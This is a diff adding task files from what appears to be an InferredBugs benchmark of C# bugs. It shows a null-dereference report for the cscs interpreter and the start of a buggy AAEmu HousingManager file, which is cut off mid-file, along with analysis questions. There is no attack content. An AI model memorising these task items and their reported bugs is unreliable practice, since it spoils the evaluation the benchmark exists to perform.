+        array = new Variable();
+      }
+
+      ExtendArray(array, arrayIndices, 0, varValue);
+
+      ParserFunction.AddGlobalOrLocalVariable(m_name, new GetVarFunction(array));
+      return array;
+    }
+
+    override public ParserFunction NewInstance()
+    {
+      return new AssignFunction();
+    }
+
+    public static void ExtendArray(Variable parent,
+                     List<Variable> arrayIndices,
+                     int indexPtr,
+                     Variable varValue)
+    {
+      if (arrayIndices.Count <= indexPtr) {
+        return;
+      }
+
+      Variable index = arrayIndices[indexPtr];
+      int currIndex = ExtendArrayHelper(parent, index);
+
+      if (arrayIndices.Count - 1 == indexPtr) {
+        parent.Tuple[currIndex] = varValue;
+        return;
+      }
+
+      Variable son = parent.Tuple[currIndex];
+      ExtendArray(son, arrayIndices, indexPtr + 1, varValue);
+    }
+
+    private static int ExtendArrayHelper(Variable parent, Variable indexVar)
+    {
+      parent.SetAsArray();
+
+      int arrayIndex = parent.GetArrayIndex(indexVar);
+      if (arrayIndex < 0) {
+        // This is not a "normal index" but a new string for the dictionary.
+        string hash = indexVar.AsString();
+        arrayIndex = parent.SetHashVariable(hash, Variable.NewEmpty());
+        return arrayIndex;
+      }
+
+      if (parent.Tuple.Count <= arrayIndex) {
+        for (int i = parent.Tuple.Count; i <= arrayIndex; i++) {
+          parent.Tuple.Add(Variable.NewEmpty());
+        }
+      }
+      return arrayIndex;
+    }
+  }
+
+  class DeepCopyFunction : ActionFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable varValue = Utils.GetItem(script);
+      return varValue.DeepClone(); ;
+    }
+  }
+
+  class TokenizeLinesFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 3, m_name);
+
+      string varName = Utils.GetSafeString(args, 0);
+      Variable lines = Utils.GetSafeVariable(args, 1);
+      int fromLine = Utils.GetSafeInt(args, 2);
+      string sepStr = Utils.GetSafeString(args, 3, "\t");
+      if (sepStr == "\\t") {
+        sepStr = "\t";
+      }
+      char[] sep = sepStr.ToCharArray();
+
+      var function = ParserFunction.GetFunction(varName);
+      Variable allTokensVar = new Variable(Variable.VarType.ARRAY);
+
+      for (int counter = fromLine; counter < lines.Tuple.Count; counter++) {
+        Variable lineVar = lines.Tuple[counter];
+        Variable toAdd = new Variable(counter - fromLine);
+        string line = lineVar.AsString();
+        var tokens = line.Split(sep);
+        Variable tokensVar = new Variable(Variable.VarType.ARRAY);
+        foreach (string token in tokens) {
+          tokensVar.Tuple.Add(new Variable(token));
+        }
+        allTokensVar.Tuple.Add(tokensVar);
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                              new GetVarFunction(allTokensVar));
+
+      return Variable.EmptyInstance;
+    }
+  }
+
+  class AddVariablesToHashFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 3, m_name);
+
+      string varName = Utils.GetSafeString(args, 0);
+      Variable lines = Utils.GetSafeVariable(args, 1);
+      int fromLine   = Utils.GetSafeInt(args, 2);
+      string hash2   = Utils.GetSafeString(args, 3);
+      string sepStr  = Utils.GetSafeString(args, 4, "\t");
+      if (sepStr == "\\t") {
+        sepStr = "\t";
+      }
+      char[] sep = sepStr.ToCharArray();
+
+      var function = ParserFunction.GetFunction(varName);
+      Variable mapVar = function != null ? function.GetValue(script) :
+                                  new Variable(Variable.VarType.ARRAY);
+
+      for (int counter = fromLine; counter < lines.Tuple.Count; counter++) {
+        Variable lineVar = lines.Tuple[counter];
+        Variable toAdd = new Variable(counter - fromLine);
+        string line = lineVar.AsString();
+        var tokens = line.Split(sep);
+        string hash = tokens[0];
+        mapVar.AddVariableToHash(hash, toAdd);
+        if (!string.IsNullOrWhiteSpace(hash2) &&
+            !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase)) {
+          mapVar.AddVariableToHash(hash2, toAdd);
+        }
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                        new GetVarFunction(mapVar));
+      return Variable.EmptyInstance;
+    }
+  }
+  class AddVariableToHashFunction : ParserFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 3, m_name);
+
+      string varName = Utils.GetSafeString(args, 0);
+      Variable toAdd = Utils.GetSafeVariable(args, 1);
+      string hash    = Utils.GetSafeString(args, 2);
+
+      var function = ParserFunction.GetFunction(varName);
+      Variable mapVar = function != null ? function.GetValue(script) :
+                                  new Variable(Variable.VarType.ARRAY);
+
+      mapVar.AddVariableToHash(hash, toAdd);
+      for (int i = 3; i < args.Count; i++) {
+        string hash2 = Utils.GetSafeString(args, 3);
+        if (!string.IsNullOrWhiteSpace(hash2) &&
+            !hash2.Equals(hash, StringComparison.OrdinalIgnoreCase)) {
+          mapVar.AddVariableToHash(hash2, toAdd);
+        }
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                          new GetVarFunction(mapVar));
+
+      return Variable.EmptyInstance;
+    }
+  }
+  class TokenCounterFunction : ParserFunction, IArrayFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name);
+
+      Variable all    = Utils.GetSafeVariable(args, 0);
+      string varName  = Utils.GetSafeString(args, 1);
+      int index       = Utils.GetSafeInt(args, 2);
+
+      var function    = ParserFunction.GetFunction(varName);
+      Variable mapVar = new Variable(Variable.VarType.ARRAY);
+
+      if (all.Tuple == null) {
+        return Variable.EmptyInstance;
+      }
+
+      string currentValue = "";
+      int currentCount = 0;
+
+      int globalCount = 0;
+
+      for (int i = 0; i < all.Tuple.Count; i++) {
+        Variable current = all.Tuple[i];
+        if (current.Tuple == null || current.Tuple.Count < index) {
+          break;
+        }
+        string newValue = current.Tuple[index].AsString();
+        if (currentValue != newValue) {
+          currentValue = newValue;
+          currentCount = 0;
+        }
+        mapVar.Tuple.Add(new Variable(currentCount));
+        currentCount++;
+        globalCount++;
+      }
+
+      ParserFunction.AddGlobalOrLocalVariable(varName,
+                                          new GetVarFunction(mapVar));
+      return mapVar;
+    }
+  }
+  class GetColumnFunction : ParserFunction, IArrayFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      List<Variable> args = script.GetFunctionArgs();
+      Utils.CheckArgs(args.Count, 2, m_name);
+
+      Variable arrayVar = Utils.GetSafeVariable(args, 0);
+      int col           = Utils.GetSafeInt(args, 1);
+      int fromCol       = Utils.GetSafeInt(args, 2, 0);
+
+      var tuple = arrayVar.Tuple;
+
+      List<Variable> result = new List<Variable>(tuple.Count);
+      for (int i = fromCol; i < tuple.Count; i++) {
+        Variable current = tuple[i];
+        if (current.Tuple == null || current.Tuple.Count <= col) {
+          throw new ArgumentException(m_name + ": Index [" + col + "] doesn't exist in column " +
+                                      i + "/" + (tuple.Count - 1));
+        }
+        result.Add(current.Tuple[col]);
+      }
+
+      return new Variable(result);
+    }
+  }
+  class GetAllKeysFunction : ParserFunction, IArrayFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      Variable varName = Utils.GetItem(script);
+      Utils.CheckNotNull(varName, m_name);
+
+      List<Variable> results = varName.GetAllKeys();
+
+      return new Variable(results);
+    }
+  }
+
+  class TypeFunction : ParserFunction, IStringFunction
+  {
+    protected override Variable Evaluate (ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(script, ref varName);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Variable element = currentValue;
+
+      // 2b. Special case for an array.
+      if (arrayIndices.Count > 0) {// array element
+        element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      // 3. Convert type to string.
+      string type = Constants.TypeToString(element.Type);
+      script.MoveForwardIf (Constants.END_ARG, Constants.SPACE);
+
+      Variable newValue = new Variable(type);
+      return newValue;
+    }
+  }
+
+  class SizeFunction : ParserFunction, INumericFunction
+  {
+    protected override Variable Evaluate(ParsingScript script)
+    {
+      // 1. Get the name of the variable.
+      string varName = Utils.GetToken(script, Constants.END_ARG_ARRAY);
+      Utils.CheckNotEnd(script, m_name);
+
+      List<Variable> arrayIndices = Utils.GetArrayIndices(script, ref varName);
+
+      // 2. Get the current value of the variable.
+      ParserFunction func = ParserFunction.GetFunction(varName);
+      Utils.CheckNotNull(varName, func);
+      Variable currentValue = func.GetValue(script);
+      Variable element = currentValue;
+
+      // 2b. Special case for an array.
+      if (arrayIndices.Count > 0) {// array element
+        element = Utils.ExtractArrayElement(currentValue, arrayIndices);
+        script.MoveForwardIf(Constants.END_ARRAY);
+      }
+
+      // 3. Take either the length of the underlying tuple or
+      // string part if it is defined,
+      // or the numerical part converted to a string otherwise.
+      int size = element.Type == Variable.VarType.ARRAY ?
+                        element.Tuple.Count :
+                        element.AsString().Length;
+
+      script.MoveForwardIf(Constants.END_ARG, Constants.SPACE);
+
+      Variable newValue = new Variable(size);
+      return newValue;
+    }
+  }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `currentValue` last assigned on line 1412 could be null and is dereferenced at line 1416, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Variable AddFunction.Evaluate(ParsingScript)
+
+### File:
+cscs/Functions.Flow.cs
+
+### Key:
+Functions.Flow.cs|Evaluate|NULL_DEREFERENCE
+
+### Node Key:
+722f645c76bfb99c288630c5b05ba5dc
+
+### Hash:
+e0a75025508ed3930f8cabca0f7a1d83
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1960/instruction.md b/inferredbugs-1960/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c14e1db463fa17e5d5c1fd62c545c626221154e2
--- /dev/null
+++ b/inferredbugs-1960/instruction.md
@@ -0,0 +1,1706 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** AAEmu
+**Bug ID:** 19
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.IO;
+using System.Linq;
+using System.Numerics;
+using AAEmu.Commons.IO;
+using AAEmu.Commons.Utils;
+using AAEmu.Game.Core.Managers.Id;
+using AAEmu.Game.Core.Managers.Stream;
+using AAEmu.Game.Core.Managers.UnitManagers;
+using AAEmu.Game.Core.Managers.World;
+using AAEmu.Game.Core.Network.Connections;
+using AAEmu.Game.Core.Packets.G2C;
+using AAEmu.Game.Models.Game;
+using AAEmu.Game.Models.Game.Char;
+using AAEmu.Game.Models.Game.DoodadObj;
+using AAEmu.Game.Models.Game.DoodadObj.Static;
+using AAEmu.Game.Models.Game.Housing;
+using AAEmu.Game.Models.Game.Items;
+using AAEmu.Game.Models.Game.Items.Actions;
+using AAEmu.Game.Models.Game.Mails;
+using AAEmu.Game.Models.Game.Skills;
+using AAEmu.Game.Models.Game.World.Transform;
+using AAEmu.Game.Models.StaticValues;
+using AAEmu.Game.Models.Tasks.Housing;
+using AAEmu.Game.Utils;
+using AAEmu.Game.Utils.DB;
+
+using MySql.Data.MySqlClient;
+
+using NLog;
+
+namespace AAEmu.Game.Core.Managers
+{
+    public class HousingManager : Singleton<HousingManager>
+    {
+        private const uint ForSaleMarkerDoodadId = 6760;
+        
+        private static Logger _log = LogManager.GetCurrentClassLogger();
+        private Dictionary<uint, HousingTemplate> _housingTemplates;
+        private Dictionary<uint, House> _houses;
+        private Dictionary<ushort, House> _housesTl; // TODO or so mb tlId is id in the active zone? or type of house
+        private List<uint> _removedHousings;
+        private List<HousingItemHousings> _housingItemHousings;
+        private Dictionary<uint, HousingDecoration> _housingDecorations;
+        private List<ItemHousingDecoration> _housingItemHousingDecorations;
+        private static int MAX_HEAVY_TAX_COUNTED = 10; // Maximum number of heavy tax buildings to take into account for tax calculation
+        private bool isCheckingTaxTiming = false;
+
+        /// <summary>
+        /// Gets all houses for a given Account
+        /// </summary>
+        /// <param name="values"></param>
+        /// <param name="accountId"></param>
+        /// <returns></returns>
+        public int GetByAccountId(Dictionary<uint, House> values, uint accountId)
+        {
+            foreach (var (id, house) in _houses)
+                if (house.AccountId == accountId)
+                    values.Add(id, house);
+            return values.Count;
+        }
+
+        /// <summary>
+        /// Gets all houses owned by Character
+        /// </summary>
+        /// <param name="values"></param>
+        /// <param name="characterId"></param>
+        /// <returns></returns>
+        public int GetByCharacterId(Dictionary<uint, House> values, uint characterId)
+        {
+            foreach (var (id, house) in _houses)
+                if (house.OwnerId == characterId)
+                    values.Add(id, house);
+            return values.Count;
+        }
+
+        public House Create(uint templateId, uint factionId, uint objectId = 0, ushort tlId = 0)
+        {
+            if (!_housingTemplates.ContainsKey(templateId))
+                return null;
+
+            var template = _housingTemplates[templateId];
+
+            var house = new House();
+            house.TlId = tlId > 0 ? tlId : (ushort)HousingTldManager.Instance.GetNextId();
+            house.ObjId = objectId > 0 ? objectId : ObjectIdManager.Instance.GetNextId();
+            house.Template = template;
+            house.TemplateId = template.Id;
+            house.Faction = FactionManager.Instance.GetFaction(factionId); // TODO: Inherit from owner
+            house.Name = LocalizationManager.Instance.Get("housings", "name", template.Id);
+            house.Hp = house.MaxHp;
+            // Force public on always public properties on create
+            if (template.AlwaysPublic)
+                house.Permission = HousingPermission.Public;
+
+            SetUntouchable(house, true);
+
+            return house;
+        }
+
+        public void Load()
+        {
+            _housingTemplates = new Dictionary<uint, HousingTemplate>();
+            _houses = new Dictionary<uint, House>();
+            _housesTl = new Dictionary<ushort, House>();
+            _removedHousings = new List<uint>();
+            _housingItemHousings = new List<HousingItemHousings>();
+            _housingDecorations = new Dictionary<uint, HousingDecoration>();
+            _housingItemHousingDecorations = new List<ItemHousingDecoration>();
+
+            // var housingAreas = new Dictionary<uint, HousingAreas>();
+            // var houseTaxes = new Dictionary<uint, HouseTax>();
+
+            using (var connection = SQLite.CreateConnection())
+            {
+                _log.Info("Loading Housing Information ...");
+
+                using (var command = connection.CreateCommand())
+                {
+                    command.CommandText = "SELECT * FROM item_housings";
+                    command.Prepare();
+                    using (var reader = new SQLiteWrapperReader(command.ExecuteReader()))
+                    {
+                        while (reader.Read())
+                        {
+                            var template = new HousingItemHousings();
+                            template.Id = reader.GetUInt32("id");
+                            template.Item_Id = reader.GetUInt32("item_id");
+                            template.Design_Id = reader.GetUInt32("design_id");
+                            _housingItemHousings.Add(template);
+                        }
+                    }
+                }
+
+                _log.Info("Loading Housing Templates...");
+
+                var filePath = Path.Combine(FileManager.AppPath, "Data", "housing_bindings.json");
+                var contents = FileManager.GetFileContents(filePath);
+                if (string.IsNullOrWhiteSpace(contents))
+                    throw new IOException(
+                        $"File {filePath} doesn't exists or is empty.");
+
+                List<HousingBindingTemplate> binding;
+                if (JsonHelper.TryDeserializeObject(contents, out binding, out _))
+                    _log.Info("Housing bindings loaded...");
+                else
+                    _log.Warn("Housing bindings not loaded...");
+
+                using (var command = connection.CreateCommand())
+                {
+                    command.CommandText = "SELECT * FROM housings";
+                    command.Prepare();
+                    using (var reader = new SQLiteWrapperReader(command.ExecuteReader()))
+                    {
+                        while (reader.Read())
+                        {
+                            var template = new HousingTemplate();
+                            template.Id = reader.GetUInt32("id");
+                            template.Name = LocalizationManager.Instance.Get("housings", "name", template.Id, reader.GetString("name"));
+                            template.CategoryId = reader.GetUInt32("category_id");
+                            template.MainModelId = reader.GetUInt32("main_model_id");
+                            template.DoorModelId = reader.GetUInt32("door_model_id", 0);
+                            template.StairModelId = reader.GetUInt32("stair_model_id", 0);
+                            template.AutoZ = reader.GetBoolean("auto_z", true);
+                            template.GateExists = reader.GetBoolean("gate_exists", true);
+                            template.Hp = reader.GetInt32("hp");
+                            template.RepairCost = reader.GetUInt32("repair_cost");
+                            template.GardenRadius = reader.GetFloat("garden_radius");
+                            template.Family = reader.GetString("family");
+                            var taxationId = reader.GetUInt32("taxation_id");
+                            template.Taxation = TaxationsManager.Instance.taxations.ContainsKey(taxationId) ? TaxationsManager.Instance.taxations[taxationId] : null; 
+                            template.GuardTowerSettingId = reader.GetUInt32("guard_tower_setting_id", 0);
+                            template.CinemaRadius = reader.GetFloat("cinema_radius");
+                            template.AutoZOffsetX = reader.GetFloat("auto_z_offset_x");
+                            template.AutoZOffsetY = reader.GetFloat("auto_z_offset_y");
+                            template.AutoZOffsetZ = reader.GetFloat("auto_z_offset_z");
+                            template.Alley = reader.GetFloat("alley");
+                            template.ExtraHeightAbove = reader.GetFloat("extra_height_above");
+                            template.ExtraHeightBelow = reader.GetFloat("extra_height_below");
+                            template.DecoLimit = reader.GetUInt32("deco_limit");
+                            template.AbsoluteDecoLimit = reader.GetUInt32("absolute_deco_limit");
+                            template.HousingDecoLimitId = reader.GetUInt32("housing_deco_limit_id", 0);
+                            template.IsSellable = reader.GetBoolean("is_sellable", true);
+                            template.HeavyTax = reader.GetBoolean("heavy_tax", true);
+                            template.AlwaysPublic = reader.GetBoolean("always_public", true);
+                            _housingTemplates.Add(template.Id, template);
+
+                            var templateBindings = binding.Find(x => x.TemplateId.Contains(template.Id));
+                            using (var command2 = connection.CreateCommand())
+                            {
+                                command2.CommandText =
+                                    "SELECT * FROM housing_binding_doodads WHERE owner_id=@owner_id AND owner_type='Housing'";
+                                command2.Prepare();
+                                command2.Parameters.AddWithValue("owner_id", template.Id);
+                                using (var reader2 = new SQLiteWrapperReader(command2.ExecuteReader()))
+                                {
+                                    var doodads = new List<HousingBindingDoodad>();
+                                    while (reader2.Read())
+                                    {
+                                        var bindingDoodad = new HousingBindingDoodad();
+                                        bindingDoodad.AttachPointId = (AttachPointKind)reader2.GetInt16("attach_point_id");
+                                        bindingDoodad.DoodadId = reader2.GetUInt32("doodad_id");
+
+                                        if (templateBindings != null &&
+                                            templateBindings.AttachPointId.ContainsKey(bindingDoodad.AttachPointId))
+                                            bindingDoodad.Position = templateBindings
+                                                .AttachPointId[bindingDoodad.AttachPointId].Clone();
+
+                                        if (bindingDoodad.Position == null)
+                                            bindingDoodad.Position = new WorldSpawnPosition();
+
+                                        doodads.Add(bindingDoodad);
+                                    }
+
+                                    template.HousingBindingDoodad = doodads.ToArray();
+                                }
+                            }
+                        }
+                    }
+                }
+
+                _log.Info("Loaded Housing Templates {0}", _housingTemplates.Count);
+
+                using (var command = connection.CreateCommand())
+                {
+                    command.CommandText = "SELECT * FROM housing_build_steps";
+                    command.Prepare();
+                    using (var reader = new SQLiteWrapperReader(command.ExecuteReader()))
+                    {
+                        while (reader.Read())
+                        {
+                            var housingId = reader.GetUInt32("housing_id");
+                            if (!_housingTemplates.ContainsKey(housingId))
+                                continue;
+
+                            var template = new HousingBuildStep();
+                            template.Id = reader.GetUInt32("id");
+                            template.HousingId = housingId;
+                            template.Step = reader.GetInt16("step");
+                            template.ModelId = reader.GetUInt32("model_id");
+                            template.SkillId = reader.GetUInt32("skill_id");
+                            template.NumActions = reader.GetInt32("num_actions");
+
+                            _housingTemplates[housingId].BuildSteps.Add(template.Step, template);
+                        }
+                    }
+                }
+
+                _log.Info("Loaded Decoration Templates...");
+
+                using (var command = connection.CreateCommand())
+                {
+                    command.CommandText = "SELECT * FROM housing_decorations";
+                    command.Prepare();
+                    using (var reader = new SQLiteWrapperReader(command.ExecuteReader()))
+                    {
+                        while (reader.Read())
+                        {
+                            var template = new HousingDecoration();
+                            template.Id = reader.GetUInt32("id");
+                            template.Name = reader.GetString("name");
+                            template.AllowOnFloor = reader.GetBoolean("allow_on_floor", true);
+                            template.AllowOnWall = reader.GetBoolean("allow_on_wall", true);
+                            template.AllowOnCeiling = reader.GetBoolean("allow_on_ceiling", true);
+                            template.DoodadId = reader.GetUInt32("doodad_id");
+                            template.AllowPivotOnGarden = reader.GetBoolean("allow_pivot_on_garden", true);
+                            template.ActabilityGroupId = !reader.IsDBNull("actability_group_id") ? reader.GetUInt32("actability_group_id") : 0;
+                            template.ActabilityUp = !reader.IsDBNull("actability_up") ? reader.GetUInt32("actability_up") : 0;
+                            template.DecoActAbilityGroupId = !reader.IsDBNull("deco_actability_group_id") ? reader.GetUInt32("deco_actability_group_id") : 0;
+                            template.AllowMeshOnGarden = reader.GetBoolean("allow_mesh_on_garden", true);
+
+                            _housingDecorations.Add(template.Id, template);
+                        }
+                    }
+                }
+
+                using (var command = connection.CreateCommand())
+                {
+                    command.CommandText = "SELECT * FROM item_housing_decorations";
+                    command.Prepare();
+                    using (var reader = new SQLiteWrapperReader(command.ExecuteReader()))
+                    {
+                        while (reader.Read())
+                        {
+                            var template = new ItemHousingDecoration();
+                            template.Id = reader.GetUInt32("id");
+                            template.ItemId = reader.GetUInt32("item_id");
+                            template.DesignId = reader.GetUInt32("design_id");
+                            template.Restore = reader.GetBoolean("restore", true);
+
+                            _housingItemHousingDecorations.Add(template);
+                        }
+                    }
+                }
+            }
+
+            _log.Info("Loading Player Buildings ...");
+            using (var connection = MySQL.CreateConnection())
+            {
+                using (var command = connection.CreateCommand())
+                {
+                    command.Connection = connection;
+                    command.CommandText = "SELECT * FROM housings";
+                    using (var reader = command.ExecuteReader())
+                    {
+                        while (reader.Read())
+                        {
+                            var templateId = reader.GetUInt32("template_id");
+                            var factionId = reader.GetUInt32("faction_id");
+                            var house = Create(templateId, factionId);
+                            house.Id = reader.GetUInt32("id");
+                            house.AccountId = reader.GetUInt32("account_id");
+                            house.OwnerId = reader.GetUInt32("owner");
+                            house.CoOwnerId = reader.GetUInt32("co_owner");
+                            house.Name = reader.GetString("name");
+                            house.Transform = new Transform(house, null,
+                                new Vector3(reader.GetFloat("x"), reader.GetFloat("y"), reader.GetFloat("z")),
+                                new Vector3(reader.GetFloat("roll"), reader.GetFloat("pitch"), reader.GetFloat("yaw"))
+                            );
+                            house.Transform.ZoneId = WorldManager.Instance.GetZoneId(house.Transform.WorldId, house.Transform.World.Position.X, house.Transform.World.Position.Y);
+                            house.CurrentStep = reader.GetInt32("current_step");
+                            house.NumAction = reader.GetInt32("current_action");
+                            house.Permission = (HousingPermission)reader.GetByte("permission");
+                            house.PlaceDate = reader.GetDateTime("place_date");
+                            house.ProtectionEndDate = reader.GetDateTime("protected_until");
+                            house.SellToPlayerId = reader.GetUInt32("sell_to");
+                            house.SellPrice = reader.GetUInt32("sell_price");
+                            house.AllowRecover = reader.GetBoolean("allow_recover");
+                            _houses.Add(house.Id, house);
+                            _housesTl.Add(house.TlId, house);
+
+                            // Manually placed houses (or after upgrading MySQL), will get 2 weeks for free as to not immediately trigger them into demolition
+                            if (house.PlaceDate == house.ProtectionEndDate)
+                                house.ProtectionEndDate = house.PlaceDate.AddDays(14);
+
+                            UpdateTaxInfo(house);
+                            house.IsDirty = false;
+                        }
+                    }
+                }
+            }
+
+            _log.Info("Loaded {0} Player Buildings", _houses.Count);
+
+            var houseCheckTask = new HousingTaxTask();
+            TaskManager.Instance.Schedule(houseCheckTask, TimeSpan.FromSeconds(30), TimeSpan.FromSeconds(10));
+
+            _log.Info("Started Housing Tax Timer");
+        }
+
+        public (int, int) Save(MySqlConnection connection, MySqlTransaction transaction)
+        {
+            var deleteCount = 0;
+            lock (_removedHousings)
+            {
+                if (_removedHousings.Count > 0)
+                {
+                    using (var command = connection.CreateCommand())
+                    {
+                        command.CommandText =
+                            $"DELETE FROM housings WHERE id IN({string.Join(",", _removedHousings)})";
+                        command.Prepare();
+                        command.ExecuteNonQuery();
+                        deleteCount++;
+                    }
+
+                    _removedHousings.Clear();
+                }
+            }
+
+            var updateCount = 0;
+            foreach (var house in _houses.Values)
+                if (house.Save(connection, transaction))
+                    updateCount++;
+
+            return (updateCount, deleteCount);
+        }
+
+        public void SpawnAll()
+        {
+            foreach (var house in _houses.Values)
+                house.Spawn();
+        }
+
+        /// <summary>
+        /// Sets or removes the untouchable buff for the house
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="isUntouchable"></param>
+        public void SetUntouchable(House house, bool isUntouchable)
+        {
+            if (isUntouchable)
+            {
+                if (house.Buffs.CheckBuff((uint)BuffConstants.Untouchable))
+                    return;
+
+                // Permanent Untouchable buff, should only be removed when failed tax payment, or demolishing by hand
+                var protectionBuffTemplate = SkillManager.Instance.GetBuffTemplate((uint)BuffConstants.Untouchable);
+                if (protectionBuffTemplate != null)
+                {
+                    var casterObj = new Models.Game.Skills.SkillCasterUnit(house.ObjId);
+                    house.Buffs.AddBuff(new Models.Game.Skills.Buff(house, house, casterObj,
+                        protectionBuffTemplate, null, System.DateTime.UtcNow));
+                }
+                else
+                {
+                    _log.Error("Unable to find Untouchable buff template");
+                }
+            }
+            else
+            {
+                // Remove Untouchable if it's enabled
+                if (house.Buffs.CheckBuff((uint)BuffConstants.Untouchable))
+                    house.Buffs.RemoveBuff((uint)BuffConstants.Untouchable);
+            }
+        }
+
+        /// <summary>
+        /// Sets or removes the removal debuff for demolishing houses
+        /// </summary>
+        /// <param name="house"></param>
+        /// <param name="isDeteriorating"></param>
+        public void SetRemovalDebuff(House house, bool isDeteriorating)
+        {
+            if (isDeteriorating)
+            {
+                if (!house.Buffs.CheckBuff((uint)BuffConstants.RemovalDebuff))
+                {
+                    // Permanent Untouchable buff, should only be removed when failed tax payment, or demolishing by hand
+                    var protectionBuffTemplate = SkillManager.Instance.GetBuffTemplate((uint)BuffConstants.RemovalDebuff);
+                    if (protectionBuffTemplate != null)
+                    {
+                        var casterObj = new Models.Game.Skills.SkillCasterUnit(house.ObjId);
+                        house.Buffs.AddBuff(new Models.Game.Skills.Buff(house, house, casterObj,
+                            protectionBuffTemplate, null, System.DateTime.UtcNow));
+                    }
+                    else
+                    {
+                        _log.Error("Unable to find Removal Debuff template");
+                    }
+                }
+            }
+            else
+            {
+                // Remove Untouchable if it's enabled
+                if (house.Buffs.CheckBuff((uint)BuffConstants.RemovalDebuff))
+                    house.Buffs.RemoveBuff((uint)BuffConstants.RemovalDebuff);
+            }
+        }
+
+        public void ConstructHouseTax(GameConnection connection, uint designId, float x, float y, float z)
+        {
+            // TODO validation position and some range...
+
+            var houseTemplate = _housingTemplates[designId];
+
+            CalculateBuildingTaxInfo(connection.ActiveChar.AccountId, houseTemplate, true, out var totalTaxAmountDue, out var heavyTaxHouseCount, out var normalTaxHouseCount, out var hostileTaxRate, out _);
+
+            var baseTax = (int)(houseTemplate.Taxation?.Tax ?? 0);
+            var depositTax = baseTax * 2;
+
+            connection.SendPacket(
+                new SCConstructHouseTaxPacket(designId,
+                    heavyTaxHouseCount,
+                    normalTaxHouseCount,
+                    houseTemplate.HeavyTax,
+                    baseTax,
+                    depositTax,
+                    totalTaxAmountDue
+                )
+            );
+        }
+
+        /// <summary>
+        /// Request house tax information (using name plaque of a house)
+        /// </summary>
+        /// <param name="connection"></param>
+        /// <param name="tlId"></param>
+        public void HouseTaxInfo(GameConnection connection, ushort tlId)
+        {
+            if (!_housesTl.ContainsKey(tlId))
+                return;
+
+            var house = _housesTl[tlId];
+
+            CalculateBuildingTaxInfo(house.AccountId, house.Template, false, out var totalTaxAmountDue, out var heavyTaxHouseCount, out var normalTaxHouseCount, out var hostileTaxRate, out _);
+
+            var baseTax = (int)(house.Template.Taxation?.Tax ?? 0);
+            var depositTax = baseTax * 2;
+
+            // Note: I'm sure this can be done better, but it works and displays correctly
+            var requiresPayment = false;
+            var weeksWithoutPay = -1;
+            if (house.TaxDueDate <= DateTime.UtcNow)
+            {
+                requiresPayment = true;
+                weeksWithoutPay = 0;
+            }
+            else
+            if (house.TaxDueDate <= DateTime.UtcNow)
+            {
+                requiresPayment = true;
+                weeksWithoutPay = 1;
+            }
+
+            /*
+            _log.Debug(
+                "SCHouseTaxInfoPacket; tlId:{0}, domTaxRate:{1}, deposit: {2}, taxdue:{3}, protectEnd:{4}, isPaid:{5}, weeksWithoutPay:{6}, isHeavy:{7}",
+                house.TlId, 0, depositTax, totalTaxAmountDue, house.ProtectionEndDate, requiresPayment, weeksWithoutPay, house.Template.HeavyTax);
+            */
+            connection.SendPacket(
+                new SCHouseTaxInfoPacket(
+                    house.TlId,
+                    0,  // TODO: implement when castles are added
+                    depositTax, // this is used in the help text on (?) when you hover your mouse over it to display deposit tax for this building
+                    totalTaxAmountDue, // Amount Due
+                    house.ProtectionEndDate,
+                    requiresPayment,
+                    weeksWithoutPay,  // TODO: do proper calculation ?
+                    house.Template.HeavyTax
+                )
+            );
+        }
+
+        /// <summary>
+        /// Start building a house at target location using design
+        /// </summary>
+        /// <param name="connection"></param>
+        /// <param name="designId"></param>
+        /// <param name="posX"></param>
+        /// <param name="posY"></param>
+        /// <param name="posZ"></param>
+        /// <param name="zRot"></param>
+        /// <param name="itemId"></param>
+        /// <param name="moneyAmount"></param>
+        /// <param name="ht"></param>
+        /// <param name="autoUseAaPoint"></param>
